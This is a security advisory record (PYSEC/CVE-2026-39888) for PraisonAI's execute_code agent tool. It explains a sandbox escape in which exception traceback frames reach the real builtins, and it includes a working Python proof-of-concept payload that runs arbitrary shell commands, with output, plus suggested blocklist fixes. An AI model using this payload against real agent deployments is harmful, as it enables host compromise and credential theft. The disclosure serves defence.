{"id":"PYSEC-2026-486","summary":"PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)","details":"## Summary\n\n`execute_code()` in `praisonaiagents.tools.python_tools` defaults to\n`sandbox_mode=\"sandbox\"`, which runs user code in a subprocess wrapped with a\nrestricted `__builtins__` dict and an AST-based blocklist. The AST blocklist\n embedded inside the subprocess wrapper (`blocked_attrs`, line 143 of\n`python_tools.py`) contains only 11 attribute names — a strict subset of the 30+\nnames blocked in the direct-execution path. The four attributes that form a\nframe-traversal chain out of the sandbox are all absent from the subprocess list:\n\n| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |\n|---|---|---|\n | `__traceback__` | **NO** | YES |\n| `tb_frame` | **NO** | YES |\n| `f_back` | **NO** | YES |\n| `f_builtins` | **NO** | YES |\n\nChaining these attributes through a caught exception exposes the real Python\n`builtins` dict of the subprocess wrapper frame, from which `exec` can be\nretrieved and called under a non-blocked variable name — bypassing every\nremaining security layer.\n\n**Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.**\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical**\n\n| Vector | Value | Rationale |\n|---|---|---|\n| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |\n| AC:L | Low | No race conditions or special configuration required |\n| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |\n| UI:N | None | No victim interaction |\n| S:C | Changed | Escapes subprocess sandbox into full host process context |\n | C:H | High | Arbitrary file read, environment variable access, credential exfiltration |\n| I:H | High | Arbitrary file write, arbitrary code execution on host |\n| A:H | High | Can terminate processes, exhaust resources |\n\n---\n\n## Affected\n\n - **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: all versions shipping `sandbox_mode=\"sandbox\"` (default since introduction) through **1.5.113**\n- **Patched versions**: none at time of report\n- **File**: `praisonaiagents/tools/python_tools.py`\n \n---\n\n## Root Cause\n\n### Two separate `blocked_attrs` sets — one much weaker than the other\n\n`_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes:\n\n```python\n# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)\n_blocked_attrs = frozenset({\n    '__subclasses__', '__bases__', '__mro__', '__globals__',\n    '__code__', '__class__', '__dict__', '__builtins__',\n    '__import__', '__loader__', '__spec__', '__init_subclass__',\n    '__set_name__', '__reduce__', '__reduce_ex__',\n    '__traceback__', '__qualname__', '__module__',   # ← present here\n    '__wrapped__', '__closure__', '__annotations__',\n    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',\n    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here\n    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here\n    'co_consts', 'co_names',\n})\n```\n\nThe subprocess wrapper script written to disk (line 143) uses a separate,\n**inline** `blocked_attrs` with only 11 entries — the frame-traversal attrs are\n**missing**:\n\n```python\n# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)\nblocked_attrs = {\n    '__subclasses__', '__bases__', '__mro__', '__globals__',\n    '__code__', '__class__', '__dict__', '__builtins__',\n    '__import__', '__loader__', '__spec__'\n    # __traceback__, tb_frame, f_back, f_builtins — all absent\n}\n```\n\n### `_safe_getattr` does not protect direct dot-notation access\n\n`_safe_getattr` replaces the `getattr` builtin and blocks attribute names\nstarting with `_`. However, it is only invoked when user code explicitly calls\n`getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses\nPython's C-level `tp_getattro` slot and **never passes through `_safe_getattr`**.\nThe AST check is therefore the only barrier to direct attribute access, and it\nis insufficient.\n\n### No text-pattern blocklist in subprocess mode\n\n`_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`)\n as a defence-in-depth layer. `_execute_code_sandboxed` has no such layer —\nonly the AST check runs.\n\n---\n\n## Proof of Concept\n\n```python\nimport os\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\nfrom praisonaiagents.tools.python_tools import execute_code\n\nCMD = \"id\"   # any shell command\n\npayload = f\"\"\"\ntry:\n    1/0\nexcept ZeroDivisionError as e:\n    _p = e.__traceback__.tb_frame.f_back\n    _x = _p.f_builtins[\"exec\"]\n    _x(\"import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())\",\n       {{\"__builtins__\": _p.f_builtins}})\n\"\"\"\n\n result = execute_code(code=payload)\nprint(result[\"stdout\"])\n```\n\n**Output (praisonaiagents 1.5.113, Python 3.10):**\n\n```\nuid=1000(user) gid=1000(user) groups=1000(user)\n```\n\u003cimg width=\"775\" height=\"429\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf\" /\u003e\n\n**Why each defence is bypassed:**\n\n| Layer | Status | Reason |\n|---|---|---|\n | AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |\n| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |\n| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` — `func.id` is `'_x'`, not `'exec'` |\n | Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |\n| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |\n\n---\n\n## Attack Chain\n\n```\nexecute_code(payload)\n  └─ _execute_code_sandboxed()\n       └─ subprocess: exec(user_code, safe_globals)\n            └─ user_code raises ZeroDivisionError\n                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs\n                      └─ .tb_frame           ← tb_frame not in blocked_attrs\n                           └─ .f_back        ← f_back not in blocked_attrs\n                                └─ .f_builtins  ← f_builtins not in blocked_attrs\n                                     └─ [\"exec\"]  ← dict subscript, no attr check\n                                          └─ _x(\"import subprocess; ...\")\n                                               └─ RCE\n```\n\n---\n\n## Impact\n \nAny application that exposes `execute_code` to user-controlled or\nLLM-generated input — including all standard PraisonAI agent deployments — is\nfully compromised by a single API call:\n\n- **Arbitrary command execution** on the host (in the subprocess user context)\n- **File system read/write** — source code, credentials, `.env` files, SSH keys\n- **Environment variable exfiltration** — API keys, secrets passed to the agent process\n- **Network access** — outbound connections to attacker infrastructure unaffected by `env={}`\n- **Lateral movement** — the subprocess inherits the host's network stack and filesystem\n\n---\n\n## Suggested Fix\n\n### 1. Merge `blocked_attrs` into a single shared constant\n\nThe subprocess wrapper must use the same attribute blocklist as the direct mode.\nReplace the inline `blocked_attrs` in the wrapper template with the full set:\n\n```python\n# Add to subprocess wrapper template (python_tools.py ~line 143):\nblocked_attrs = {\n    '__subclasses__', '__bases__', '__mro__', '__globals__',\n    '__code__', '__class__', '__dict__', '__builtins__',\n    '__import__', '__loader__', '__spec__', '__init_subclass__',\n    '__set_name__', '__reduce__', '__reduce_ex__',\n    '__traceback__', '__qualname__', '__module__',    # ← ADD\n    '__wrapped__', '__closure__', '__annotations__',  # ← ADD\n    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD\n    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD\n    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD\n    'co_consts', 'co_names',                          # ← ADD\n}\n```\n\n### 2. Block all `_`-prefixed attribute access at AST level\n\n`_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block\nany `ast.Attribute` node whose `attr` starts with `_`:\n\n```python\nif isinstance(node, ast.Attribute) and node.attr.startswith('_'):\n    return f\"Access to private attribute '{node.attr}' is restricted\"\n```\n\n ### 3. Add the text-pattern layer to subprocess mode\n\nMirror `_execute_code_direct`'s `dangerous_patterns` check in\n`_execute_code_sandboxed` as defence-in-depth.\n\n ---\n\n## References\n\n- Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`)\n- CWE-693: Protection Mechanism Failure\n- CWE-657: Violation of Secure Design Principles","aliases":["CVE-2026-39888","GHSA-qf73-2hrx-xprp"],"modified":"2026-07-13T16:15:33.178413205Z","published":"2026-06-29T11:50:48.093694Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39888"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonaiagents"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qf73-2hrx-xprp"}],"affected":[{"package":{"name":"praisonaiagents","ecosystem":"PyPI","purl":"pkg:pypi/praisonaiagents"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.115"}]}],"versions":["0.0.1","0.0.10","0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.109","0.0.11","0.0.110","0.0.111","0.0.112","0.0.113","0.0.114","0.0.115","0.0.116","0.0.117","0.0.118","0.0.119","0.0.12","0.0.120","0.0.121","0.0.122","0.0.123","0.0.124","0.0.125","0.0.126","0.0.127","0.0.128","0.0.129","0.0.13","0.0.130","0.0.131","0.0.132","0.0.133","0.0.134","0.0.135","0.0.136","0.0.137","0.0.138","0.0.139","0.0.14","0.0.140","0.0.141","0.0.142","0.0.143","0.0.144","0.0.145","0.0.146","0.0.147","0.0.148","0.0.149","0.0.15","0.0.150","0.0.151","0.0.152","0.0.153","0.0.154","0.0.155","0.0.156","0.0.157","0.0.158","0.0.159","0.0.16","0.0.160","0.0.161","0.0.162","0.0.163","0.0.164","0.0.165","0.0.166","0.0.167","0.0.168","0.0.169","0.0.17","0.0.170","0.0.171","0.0.172","0.0.173","0.0.174","0.0.175","0.0.176","0.0.177","0.0.178","0.0.179","0.0.18","0.0.180","0.0.181","0.0.182","0.0.183","0.0.184","0.0.185","0.0.187","0.0.188","0.0.189","0.0.19","0.0.190","0.0.191","0.0.192","0.0.193","0.0.194","0.0.195","0.0.196","0.0.197","0.0.198","0.0.199","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.51","0.0.52","0.0.53","0.0.54","0.0.56","0.0.57","0.0.58","0.0.59","0.0.6","0.0.60","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.77","0.0.78","0.0.79","0.0.8","0.0.80","0.0.81","0.0.82","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.0.9","0.0.90","0.0.91","0.0.92","0.0.93","0.0.94","0.0.95","0.0.96","0.0.97","0.0.98","0.0.99","0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.10","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.14","0.11.15","0.11.16","0.11.17","0.11.18","0.11.19","0.11.2","0.11.20","0.11.21","0.11.22","0.11.23","0.11.24","0.11.25","0.11.27","0.11.28","0.11.29","0.11.3","0.11.30","0.11.31","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.12.1","0.12.10","0.12.11","0.12.12","0.12.13","0.12.14","0.12.15","0.12.16","0.12.17","0.12.18","0.12.19","0.12.2","0.12.20","0.12.21","0.12.3","0.12.4","0.12.5","0.12.6","0.12.7","0.12.8","0.12.9","0.13.0","0.13.1","0.13.10","0.13.11","0.13.12","0.13.13","0.13.14","0.13.15","0.13.16","0.13.17","0.13.18","0.13.19","0.13.2","0.13.20","0.13.21","0.13.22","0.13.23","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.13.8","0.13.9","0.14.0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.14","0.14.15","0.14.16","0.14.2","0.14.3","0.14.4","0.14.5","0.14.6","0.14.7","0.14.8","0.14.9","0.15.0","0.15.1","0.15.2","0.15.3","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.7.0","0.7.1","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.1","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.1","1.5.10","1.5.100","1.5.101","1.5.102","1.5.103","1.5.104","1.5.105","1.5.106","1.5.107","1.5.108","1.5.109","1.5.11","1.5.110","1.5.111","1.5.112","1.5.113","1.5.114","1.5.12","1.5.13","1.5.14","1.5.15","1.5.16","1.5.17","1.5.18","1.5.19","1.5.2","1.5.20","1.5.21","1.5.22","1.5.23","1.5.24","1.5.25","1.5.26","1.5.27","1.5.28","1.5.29","1.5.3","1.5.30","1.5.31","1.5.32","1.5.33","1.5.34","1.5.35","1.5.36","1.5.37","1.5.38","1.5.39","1.5.40","1.5.41","1.5.42","1.5.43","1.5.44","1.5.45","1.5.46","1.5.47","1.5.48","1.5.49","1.5.5","1.5.50","1.5.51","1.5.52","1.5.53","1.5.54","1.5.55","1.5.56","1.5.57","1.5.58","1.5.59","1.5.6","1.5.60","1.5.61","1.5.62","1.5.63","1.5.64","1.5.65","1.5.66","1.5.67","1.5.68","1.5.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